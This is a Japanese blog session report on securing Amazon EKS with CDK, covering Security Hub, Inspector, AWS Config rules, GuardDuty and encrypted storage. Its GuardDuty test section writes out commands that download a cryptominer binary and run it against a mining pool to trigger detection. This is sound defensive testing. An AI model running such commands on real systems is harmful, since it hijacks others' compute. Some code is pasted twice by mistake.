[レポート] Amazon EKS で安全でコンプライアンスに準拠したアプリケーションを構築する #APS354 #AWSreInforce

[レポート] Amazon EKS で安全でコンプライアンスに準拠したアプリケーションを構築する #APS354 #AWSreInforce

フィラデルフィアで開催されている AWS re:Inforce 2024 の 「Building secure and compliant applications on Amazon EKS」のセッションレポートです。1時間で EKS クラスターに対してセキュリティサービスを適用していくセッションでした。
Clock Icon2024.06.12

こんにちは! AWS 事業本部コンサルティング部のたかくに(@takakuni_)です。

フィラデルフィアで開催されている AWS re:Inforce 2024 に参加しています。

本記事は AWS re:Inforce 2024 のセッション「Building secure and compliant applications on Amazon EKS」のセッションレポートです。

セッション概要

This builders’ session explores best practices and automation strategies for consistently building secure and compliant applications on Amazon EKS clusters. Learn how you can implement security control mechanisms for both the Amazon EKS infrastructure and application layers, which allows you to assess and mitigate security threats, risks, and compliance challenges proactively. Gain experience integrating Amazon EKS with Amazon GuardDuty for container runtime monitoring, implementing governance and compliance using AWS Config, and using Amazon ECR for image scanning and Amazon Inspector for vulnerability detection. You must bring your laptop to participate.

セッションの内容

このセッションでは EKS ブループリントを使用して、EKS クラスターを構築したのち、セキュリティに関する設定を導入していくセッションでした。 1h 程でサクッと EKS クラスターに導入可能なセキュリティ対策を学べるセッションでした。

EKS クラスターの作成

EKS ブループリントを利用して EKS クラスターを作成します。 CDK を使ってデプロイはすべて行います。

lib/my-eks-blueprints-stack.ts
import * as cdk from 'aws-cdk-lib';
import { Construct } from 'constructs';
import * as blueprints from '@aws-quickstart/eks-blueprints';

export default class ClusterConstruct extends Construct {
	constructor(scope: Construct, id: string, props?: cdk.StackProps) {
		super(scope, id);

		const account = props?.env?.account!;
		const region = props?.env?.region!;

		const blueprint = blueprints.EksBlueprint.builder()
			.version('auto')
			.account(account)
			.region(region)
			.addOns()
			.teams()
			.build(scope, id + '-stack');
	}
}

さくっと EKS の検証したい時、ブループリント便利だなと思いました。

Security Hub の有効化

後ほど AWS Config, GuardDuty, Inspector の集約用途で事前に Securty Hub を有効にします。

lib/securityhub-setup.ts
import * as securityhub from 'aws-cdk-lib/aws-securityhub';
import { Construct } from 'constructs';
import { Stack, StackProps } from 'aws-cdk-lib';

export class SecurityHubSetupStack extends Stack {
	constructor(scope: Construct, id: string, props?: StackProps) {
		super(scope, id, props);

		// Enable Security Hub
		new securityhub.CfnHub(this, 'MyCfnHub');
	}
}

Inspector の有効化

EKS でホストするコンテナのイメージのスキャンに今回は Inspector を利用しました。

lib/image-scanning-setup.ts
import { Construct } from 'constructs';
import * as cr from 'aws-cdk-lib/custom-resources';
import * as iam from 'aws-cdk-lib/aws-iam';
import { Stack, StackProps } from 'aws-cdk-lib';
import * as AWS from 'aws-sdk';

const account = process.env.CDK_DEFAULT_ACCOUNT;
const region = process.env.CDK_DEFAULT_REGION;

export class ImageScanningSetupStack extends Stack {
	constructor(scope: Construct, id: string, props?: StackProps) {
		super(scope, id, { ...props, env: { account, region } });

		// Scan type configuration: BASIC or ENHANCED
		const scanType: AWS.ECR.ScanType = 'ENHANCED';

		// ENHANCED scanning configuration
		const enhancedContinuousScanDuration: AWS.Inspector2.EcrRescanDuration =
			'LIFETIME';
		const enhancedScanRules: AWS.ECR.RegistryScanningRuleList = [
			{
				scanFrequency: 'CONTINUOUS_SCAN',
				repositoryFilters: [{ filter: 'prod', filterType: 'WILDCARD' }],
			},
			{
				scanFrequency: 'SCAN_ON_PUSH',
				repositoryFilters: [{ filter: '*', filterType: 'WILDCARD' }],
			},
		];

		// BASIC scanning configuration
		const basicScanRules: AWS.ECR.RegistryScanningRuleList = [
			{
				scanFrequency: 'SCAN_ON_PUSH',
				repositoryFilters: [
					{
						filterType: 'WILDCARD',
						filter: '*',
					},
				],
			},
		];
		// Conditional statement based on image scanning request
		let registryScanConfig: AWS.ECR.PutRegistryScanningConfigurationRequest =
			{};
		if (scanType === 'ENHANCED') {
			registryScanConfig = {
				scanType: 'ENHANCED',
				rules: enhancedScanRules,
			};
		} else if (scanType === 'BASIC') {
			registryScanConfig = {
				scanType: 'BASIC',
				rules: basicScanRules,
			};
		}
		// IAM policy that allows Inspector to scan container images
		new cr.AwsCustomResource(this, 'ImageScanningEnabler', {
			policy: cr.AwsCustomResourcePolicy.fromStatements([
				new iam.PolicyStatement({
					actions: ['config:*', 'ecr:PutRegistryScanningConfiguration'],
					resources: ['*'],
				}),
				new iam.PolicyStatement({
					actions: [
						'inspector2:Enable',
						'inspector2:Disable',
						'inspector2:ListFindings',
						'inspector2:ListAccountPermissions',
						'inspector2:ListCoverage',
					],
					resources: ['*'],
				}),
				new iam.PolicyStatement({
					actions: ['iam:CreateServiceLinkedRole'],
					resources: ['*'],
					conditions: {
						StringEquals: {
							'iam:AWSServiceName': ['inspector2.amazonaws.com'],
						},
					},
				}),
			]),
			onUpdate: {
				service: 'ECR',
				action: 'putRegistryScanningConfiguration',
				parameters: registryScanConfig,
				physicalResourceId: cr.PhysicalResourceId.of('ImageScanningEnabler'),
			},
		});

		new cr.AwsCustomResource(this, 'InspectorEcrConfigurator', {
			policy: cr.AwsCustomResourcePolicy.fromStatements([
				new iam.PolicyStatement({
					actions: ['config:*', 'inspector2:UpdateConfiguration'],
					resources: ['*'],
				}),
			]),
			onUpdate: {
				service: 'Inspector2',
				action: 'updateConfiguration',
				parameters: {
					ecrConfiguration: {
						rescanDuration: enhancedContinuousScanDuration,
					},
				},
				physicalResourceId: cr.PhysicalResourceId.of(
					'InspectorEcrConfigurator'
				),
			},
		});
	}
}

実際に ECR にプッシュしたイメージを見てみると、いくつか指摘があがっていますね。

AWS Config の利用

AWS Config のマネージドルールを利用して EKS のガバナンスを効かせます。具体的には以下を有効化しました。

  • eks-cluster-logging-enabled
  • eks-cluster-oldest-supported-version
  • eks-cluster-supported-version
  • eks-endpoint-no-public-access
  • eks-secrets-encrypted

ファイルは 2 つに分かれ以下は Config 自体の有効化を行います。

lib/config-setup.ts
import * as config from 'aws-cdk-lib/aws-config';
import * as events from 'aws-cdk-lib/aws-events';
import * as eventTargets from 'aws-cdk-lib/aws-events-targets';
import * as iam from 'aws-cdk-lib/aws-iam';
import * as s3 from 'aws-cdk-lib/aws-s3';
import * as sns from 'aws-cdk-lib/aws-sns';
import * as subs from 'aws-cdk-lib/aws-sns-subscriptions';
import * as blueprints from '@aws-quickstart/eks-blueprints';
import { Construct } from 'constructs';
import { Stack, StackProps } from 'aws-cdk-lib';
import {
	ConfigServiceClient,
	DescribeConfigurationRecordersCommand,
	DescribeDeliveryChannelsCommand,
} from '@aws-sdk/client-config-service';

// Enable the AWS Config Managed Rules for EKS Security Best Practices
export class EksConfigSetup extends Stack {
	constructor(scope: Construct, id: string, props?: StackProps) {
		super(scope, id, props);
		this.buildConfigStack();
	}

	async buildConfigStack() {
		const email = 'your-email@example.com';
		const logger = blueprints.utils.logger;
		const currentRegion = process.env.CDK_DEFAULT_REGION!;
		const configclient = new ConfigServiceClient();

		try {
			const command = new DescribeConfigurationRecordersCommand();
			const response = await configclient.send(command);

			if (
				response.ConfigurationRecorders &&
				response.ConfigurationRecorders.length > 0
			) {
				logger.info(
					`AWS Config is already enabled in ${currentRegion} region.`
				);
			} else {
				logger.info(`AWS Config is not enabled in ${currentRegion} region.`);
				logger.info('Enabling AWS Config...');

				// Create an AWS Config service role
				const awsConfigRole = new iam.Role(this, 'RoleAwsConfig', {
					assumedBy: new iam.ServicePrincipal('config.amazonaws.com'),
				});

				// Attach the service role policy
				awsConfigRole.addManagedPolicy(
					iam.ManagedPolicy.fromAwsManagedPolicyName(
						'service-role/AWS_ConfigRole'
					)
				);

				// Check if delivery channel is already enabled
				try {
					const command = new DescribeDeliveryChannelsCommand();
					const response = await configclient.send(command);

					if (
						response.DeliveryChannels &&
						response.DeliveryChannels.length > 0
					) {
						logger.info(
							`AWS Config delivery channel is already enabled in ${currentRegion} region.`
						);
					} else {
						logger.info(
							`AWS Config delivery channel is not enabled in ${currentRegion} region.`
						);
						logger.info('Configuring AWS Config delivery channel...');

						// Create an AWS Config delivery channel
						// Setup an s3 bucket for the config recorder delivery channel
						const awsConfigBucket = new s3.Bucket(this, 'BucketAwsConfig', {
							versioned: true,
							enforceSSL: true,
						});

						// Configure bucket policy statements and attach them to the s3 bucket
						this.configureS3BucketPolicy(awsConfigBucket);

						// Create an SNS topic for AWS Config notifications
						const configTopic = new sns.Topic(this, 'ConfigNotificationTopic');
						configTopic.addSubscription(new subs.EmailSubscription(email));
						const eventRule = new events.Rule(this, 'ConfigEventRule', {
							eventPattern: {
								source: ['aws.config'],
								detailType: ['Config Rules Compliance Change'],
							},
						});

						// Format the Config notifications
						this.configureEventRule(eventRule, configTopic);

						// Create the AWS Config delivery channel with the s3 bucket and sns topic
						new config.CfnDeliveryChannel(this, 'DeliveryChannel', {
							name: 'default',
							s3BucketName: awsConfigBucket.bucketName,
							snsTopicArn: configTopic.topicArn,
						});
					}
				} catch (error) {
					logger.error(error);
				}

				logger.info('Configuring AWS Config recorder...');

				// Create the AWS Config recorder
				new config.CfnConfigurationRecorder(this, 'Recorder', {
					name: 'default',
					roleArn: awsConfigRole.roleArn,
				});
			}
		} catch (error) {
			logger.error(error);
		}
	}

	private configureS3BucketPolicy(awsConfigBucket: s3.Bucket) {
		const policyStatement1 = new iam.PolicyStatement({
			actions: ['s3:*'],
			principals: [new iam.AnyPrincipal()],
			resources: [`${awsConfigBucket.bucketArn}/*`],
			conditions: { Bool: { 'aws:SecureTransport': false } },
		});

		policyStatement1.effect = iam.Effect.DENY;
		awsConfigBucket.addToResourcePolicy(policyStatement1);

		const policyStatement2 = new iam.PolicyStatement({
			actions: ['s3:PutObject'],
			principals: [new iam.ServicePrincipal('config.amazonaws.com')],
			resources: [`${awsConfigBucket.bucketArn}/*`],
			conditions: {
				StringEquals: { 's3:x-amz-acl': 'bucket-owner-full-control' },
			},
		});

		policyStatement2.effect = iam.Effect.ALLOW;
		awsConfigBucket.addToResourcePolicy(policyStatement2);

		const policyStatement3 = new iam.PolicyStatement({
			actions: ['s3:GetBucketAcl'],
			principals: [new iam.ServicePrincipal('config.amazonaws.com')],
			resources: [awsConfigBucket.bucketArn],
		});

		policyStatement3.effect = iam.Effect.ALLOW;
		awsConfigBucket.addToResourcePolicy(policyStatement3);
	}

	private configureEventRule(eventRule: events.Rule, configTopic: sns.Topic) {
		eventRule.addTarget(
			new eventTargets.SnsTopic(configTopic, {
				message: events.RuleTargetInput.fromText(
					`WARNING: AWS Config has detected a ${events.EventField.fromPath(
						'$.detail.newEvaluationResult.complianceType'
					)} for the rule ${events.EventField.fromPath(
						'$.detail.configRuleName'
					)}. The compliance status is ${events.EventField.fromPath(
						'$.detail.newEvaluationResult.evaluationResult'
					)}.`
				),
			})
		);
	}
}

import { DEFAULT_VERSION } from '@aws-quickstart/eks-blueprints';
import * as config from 'aws-cdk-lib/aws-config';
import { Construct } from 'constructs';
import { Stack, StackProps } from 'aws-cdk-lib';

// Enable the AWS Config Managed Rules for EKS Security Best Practices
export class EksConfigRulesSetup extends Stack {
	constructor(scope: Construct, id: string, props?: StackProps) {
		super(scope, id, props);

		// Get the default kubernetes version used by the CDK EKS Blueprints framework.
		const defaultEKSVersion = DEFAULT_VERSION.version;

		// Checks whether Amazon Elastic Kubernetes Service clusters are configured to have EKS cluster log enabled.
		new config.ManagedRule(this, 'EksClusterLogEnabled', {
			identifier: 'EKS_CLUSTER_LOG_ENABLED',
			inputParameters: {
				logTypes: 'api,audit,authenticator,controllerManager,scheduler',
			},
		});

		// Checks if an Amazon Elastic Kubernetes Service (EKS) cluster is running a supported Kubernetes version.
		new config.ManagedRule(this, 'EksSupportedVersion', {
			identifier: config.ManagedRuleIdentifiers.EKS_CLUSTER_SUPPORTED_VERSION,
			inputParameters: {
				oldestVersionSupported: defaultEKSVersion, //  Set to the default cluster version used by CDK EKS Blueprints.
			},
		});

		// Checks whether Amazon Elastic Kubernetes Service (Amazon EKS) endpoint has no public access.
		new config.ManagedRule(this, 'EksEndpointNoPublicAccess', {
			identifier: config.ManagedRuleIdentifiers.EKS_ENDPOINT_NO_PUBLIC_ACCESS,
		});

		// Checks whether Amazon Elastic Kubernetes Service clusters are configured to have Kubernetes secrets encrypted using AWS Key Management Service (KMS) keys.
		new config.ManagedRule(this, 'EksSecretsEncrypted', {
			identifier: config.ManagedRuleIdentifiers.EKS_SECRETS_ENCRYPTED,
		});

		// Check whether ACM Certificates in your account are marked for expiration within the specified number of days.
		new config.ManagedRule(this, 'ACMCertificateExpirationCheck', {
			identifier:
				config.ManagedRuleIdentifiers.ACM_CERTIFICATE_EXPIRATION_CHECK,
		});
	}
}
[/typescript]

こちらは Config ルールのセットアップを行うファイルです。おそらく変更頻度でスタックを分けている構成かなと思いました。

[typescript title="lib/eks-config-rules.ts"]
import { DEFAULT_VERSION } from '@aws-quickstart/eks-blueprints';
import * as config from 'aws-cdk-lib/aws-config';
import { Construct } from 'constructs';
import { Stack, StackProps } from 'aws-cdk-lib';

// Enable the AWS Config Managed Rules for EKS Security Best Practices
export class EksConfigRulesSetup extends Stack {
	constructor(scope: Construct, id: string, props?: StackProps) {
		super(scope, id, props);

		// Get the default kubernetes version used by the CDK EKS Blueprints framework.
		const defaultEKSVersion = DEFAULT_VERSION.version;

		// Checks whether Amazon Elastic Kubernetes Service clusters are configured to have EKS cluster log enabled.
		new config.ManagedRule(this, 'EksClusterLogEnabled', {
			identifier: 'EKS_CLUSTER_LOG_ENABLED',
			inputParameters: {
				logTypes: 'api,audit,authenticator,controllerManager,scheduler',
			},
		});

		// Checks if an Amazon Elastic Kubernetes Service (EKS) cluster is running a supported Kubernetes version.
		new config.ManagedRule(this, 'EksSupportedVersion', {
			identifier: config.ManagedRuleIdentifiers.EKS_CLUSTER_SUPPORTED_VERSION,
			inputParameters: {
				oldestVersionSupported: defaultEKSVersion, //  Set to the default cluster version used by CDK EKS Blueprints.
			},
		});

		// Checks whether Amazon Elastic Kubernetes Service (Amazon EKS) endpoint has no public access.
		new config.ManagedRule(this, 'EksEndpointNoPublicAccess', {
			identifier: config.ManagedRuleIdentifiers.EKS_ENDPOINT_NO_PUBLIC_ACCESS,
		});

		// Checks whether Amazon Elastic Kubernetes Service clusters are configured to have Kubernetes secrets encrypted using AWS Key Management Service (KMS) keys.
		new config.ManagedRule(this, 'EksSecretsEncrypted', {
			identifier: config.ManagedRuleIdentifiers.EKS_SECRETS_ENCRYPTED,
		});

		// Check whether ACM Certificates in your account are marked for expiration within the specified number of days.
		new config.ManagedRule(this, 'ACMCertificateExpirationCheck', {
			identifier:
				config.ManagedRuleIdentifiers.ACM_CERTIFICATE_EXPIRATION_CHECK,
		});
	}
}

GuardDuty の有効化

EKS クラスターの脅威検出に GuardDuty のランタイムモニタリング機能を導入します。また検出した結果は SNS 経由でメールに通知します。

lib/guardduty-setup.ts
import * as aws_guardduty from 'aws-cdk-lib/aws-guardduty';
import { Construct } from 'constructs';
import { Stack, StackProps } from 'aws-cdk-lib';
import * as sns from 'aws-cdk-lib/aws-sns';
import * as subs from 'aws-cdk-lib/aws-sns-subscriptions';
import * as events from 'aws-cdk-lib/aws-events';
import * as eventTargets from 'aws-cdk-lib/aws-events-targets';
import * as AWS from 'aws-sdk';

const account = process.env.CDK_DEFAULT_ACCOUNT;
const region = process.env.CDK_DEFAULT_REGION;

export class GuardDutySetupStack extends Stack {
	constructor(scope: Construct, id: string, props?: StackProps) {
		super(scope, id, { ...props, env: { account, region } });

		const environmentName = 'main';
		const email = 'your-email@example.com'; // REPLACE WITH YOUR EMAIL
		const features: aws_guardduty.CfnDetector.CFNFeatureConfigurationProperty[] =
			[
				{ name: 'S3_DATA_EVENTS', status: 'ENABLED' },
				{ name: 'EKS_AUDIT_LOGS', status: 'ENABLED' },
				{ name: 'EBS_MALWARE_PROTECTION', status: 'ENABLED' },
				{ name: 'RDS_LOGIN_EVENTS', status: 'ENABLED' },
				{ name: 'LAMBDA_NETWORK_LOGS', status: 'ENABLED' },
				{
					name: 'RUNTIME_MONITORING',
					status: 'ENABLED',
					additionalConfiguration: [
						{ name: 'EKS_ADDON_MANAGEMENT', status: 'ENABLED' },
						{ name: 'ECS_FARGATE_AGENT_MANAGEMENT', status: 'ENABLED' },
						{ name: 'EC2_AGENT_MANAGEMENT', status: 'ENABLED' },
					],
				},
			];

		// check if GuardDuty is already enabled in the region
		const guardDuty = new AWS.GuardDuty();
		guardDuty.listDetectors({}, (err, data) => {
			if (err) {
				console.log(err, err.stack);
			} else {
				if (data.DetectorIds?.length === 0) {
					// Create a GuardDuty detector
					new aws_guardduty.CfnDetector(this, id + 'GuardDutyDetector', {
						enable: true,
						features,
					});

					// Configure GuardDuty to email any security findings
					const guardDutyTopic = new sns.Topic(
						this,
						id + 'GuardDutyNotificationTopic'
					);
					guardDutyTopic.addSubscription(new subs.EmailSubscription(email));
					const eventRule = new events.Rule(this, id + 'GuardDutyEventRule', {
						eventPattern: {
							source: ['aws.guardduty'],
							detailType: ['GuardDuty Finding'],
						},
					});

					// Format the GuardDuty findings emails
					eventRule.addTarget(
						new eventTargets.SnsTopic(guardDutyTopic, {
							message: events.RuleTargetInput.fromText(
								`WARNING: AWS GuardDuty has discovered a ${events.EventField.fromPath(
									'$.detail.type'
								)} security issue for ${environmentName} (${events.EventField.fromPath(
									'$.region'
								)}). Please go to https://${events.EventField.fromPath(
									'$.region'
								)}.console.aws.amazon.com/guardduty/ to find out more details.`
							),
						})
					);
					return;
				} else {
					console.log('GuardDuty is enabled in this region.');
				}

				// Update the existing detector to use the EKS features
				console.log(
					'Updating the detector to make sure EKS features are enabled.'
				);
				const detectorId = data.DetectorIds[0];
				console.log('Detector ID: ' + detectorId);
				const params: AWS.GuardDuty.UpdateDetectorRequest = {
					DetectorId: detectorId,
					Features: [
						{
							AdditionalConfiguration: [
								{
									Name: 'EKS_ADDON_MANAGEMENT',
									Status: 'ENABLED',
								},
							],
							Name: 'RUNTIME_MONITORING',
							Status: 'ENABLED',
						},
						{
							Name: 'EKS_AUDIT_LOGS',
							Status: 'ENABLED',
						},
					],
				};
				guardDuty.updateDetector(params, (err, data) => {
					if (err) {
						console.log(err, err.stack);
					} else {
						console.log('Updated GuardDuty detector with EKS features.');
					}
				});
			}
		});
	}
}

テストしてみる

検知するために新しい Pod を立ち上げ、マイニングのような挙動をとって見ます。

cat << EoF > ubuntunetcat.yaml
### Execution:Runtime/NewBinaryExecuted
### Impact:Runtime/CryptoMinerExecuted
### CryptoCurrency:Runtime/BitcoinTool.B!DNS

apiVersion: v1
kind: Pod
metadata:
  name: ubuntunetcat
  labels:
    app: ubuntunetcat
spec:
  containers:
  - image: redora/ubuntunetcat
    command:
      - "sleep"
      - "60000"
    imagePullPolicy: IfNotPresent
    name: ubuntunetcat
  restartPolicy: Always
EoF

コンテナ内に乗り込んで、マイニングを行うような挙動をとって見ます。(新しいソフトウェアのインストールも検出されそうですね。)

kubectl exec -it ubuntunetcat -- /bin/bash

# Run commands once exec into the pod
wget -O xmrig https://github.com/cnrig/cnrig/releases/download/v0.1.5-release/cnrig-0.1.5-linux-x86_64
chmod +x xmrig
./xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u foo@yahoo.com -p x

しっかり検出されていますね。

またメールも飛んできていました。

少しわかりづらいですが、 Security Hub でも Guardduty の結果が表示されています。

CSI ドライバーの利用

最後にオプショナルで Amazon EBS CSI driver for EKS と Amazon EFS CSI driver for EKS を利用して、転送時および保管時のデータ暗号化を行います。まずは Amazon EFS CSI driver for EKS から。暗号化された EFS を用意しアドオンを有効にします。

my-eks-blueprints-stack.ts
import * as cdk from 'aws-cdk-lib';
import { Construct } from 'constructs';
import * as blueprints from '@aws-quickstart/eks-blueprints';
import * as efs from 'aws-cdk-lib/aws-efs';
import * as kms from 'aws-cdk-lib/aws-kms';
import * as iam from 'aws-cdk-lib/aws-iam';
import {
	GlobalResources,
	EbsCsiDriverAddOn,
	EfsCsiDriverAddOn,
} from '@aws-quickstart/eks-blueprints';
export default class ClusterConstruct extends Construct {
	constructor(scope: Construct, id: string, props?: cdk.StackProps) {
		super(scope, id);
		const account = props?.env?.account!;
		const region = props?.env?.region!;

		const ebsKmsKeyName = 'eks-ebs-kms-encryption-key';
		const ebsKmsKey = blueprints.getNamedResource(ebsKmsKeyName) as kms.Key;

		const efsKmsKeyName = 'eks-efs-kms-encryption-key';
		const efsKmsKey = blueprints.getNamedResource(efsKmsKeyName) as kms.Key;

		const efsFileSystemName = 'eks-efs-file-system';

		const ebsAddOn = new blueprints.addons.EbsCsiDriverAddOn({
			kmsKeys: [ebsKmsKey],
			version: 'auto',
		});

		const efsAddOn = new blueprints.addons.EfsCsiDriverAddOn({
			kmsKeys: [efsKmsKey],
		});

		const efsFileSystem = blueprints.getNamedResource(
			efsFileSystemName
		) as efs.FileSystem;

		const eksFileSystemPolicy = new iam.PolicyDocument({
			statements: [
				new iam.PolicyStatement({
					effect: iam.Effect.ALLOW,
					principals: [new iam.AnyPrincipal()],
					actions: [
						'elasticfilesystem:ClientRootAccess',
						'elasticfilesystem:ClientMount',
						'elasticfilesystem:ClientWrite',
					],
					conditions: {
						Bool: { 'elasticfilesystem:AccessedViaMountTarget': 'true' },
					},
				}),
			],
		});
		const blueprint = blueprints.EksBlueprint.builder()
			.version('auto')
			.account(account)
			.region(region)
			.addOns(ebsAddOn, efsAddOn)
			.teams()
			.resourceProvider(GlobalResources.Vpc, new blueprints.VpcProvider())
			.resourceProvider(
				GlobalResources.KmsKey,
				new blueprints.CreateKmsKeyProvider()
			)
			.resourceProvider(
				ebsKmsKeyName,
				new blueprints.CreateKmsKeyProvider(ebsKmsKeyName)
			)
			.resourceProvider(
				efsKmsKeyName,
				new blueprints.CreateKmsKeyProvider(efsKmsKeyName)
			)
			// create EFS file system
			.resourceProvider(
				efsFileSystemName,
				new blueprints.CreateEfsFileSystemProvider({
					name: efsFileSystemName,
					kmsKeyResourceName: efsKmsKeyName,
					efsProps: {
						encrypted: true,
						fileSystemPolicy: eksFileSystemPolicy,
					},
				})
			)
			.build(scope, id + '-stack');
	}
}

ここでタイムアップでしたが EBS, EFS のストレージクラス、 PVC を作成し Pod にマウントさせる内容でした。

まとめ

以上、 Building secure and compliant applications on Amazon EKS のセッションレポートでした。

今回やったことは、普段触っている ECS でもできることが多いため、別途どういったことができるのか勉強し直して見たいと思いました。

AWS 事業本部コンサルティング部のたかくに(@takakuni_)でした!

Share this article

facebook logohatena logotwitter logo

© Classmethod, Inc. All rights reserved.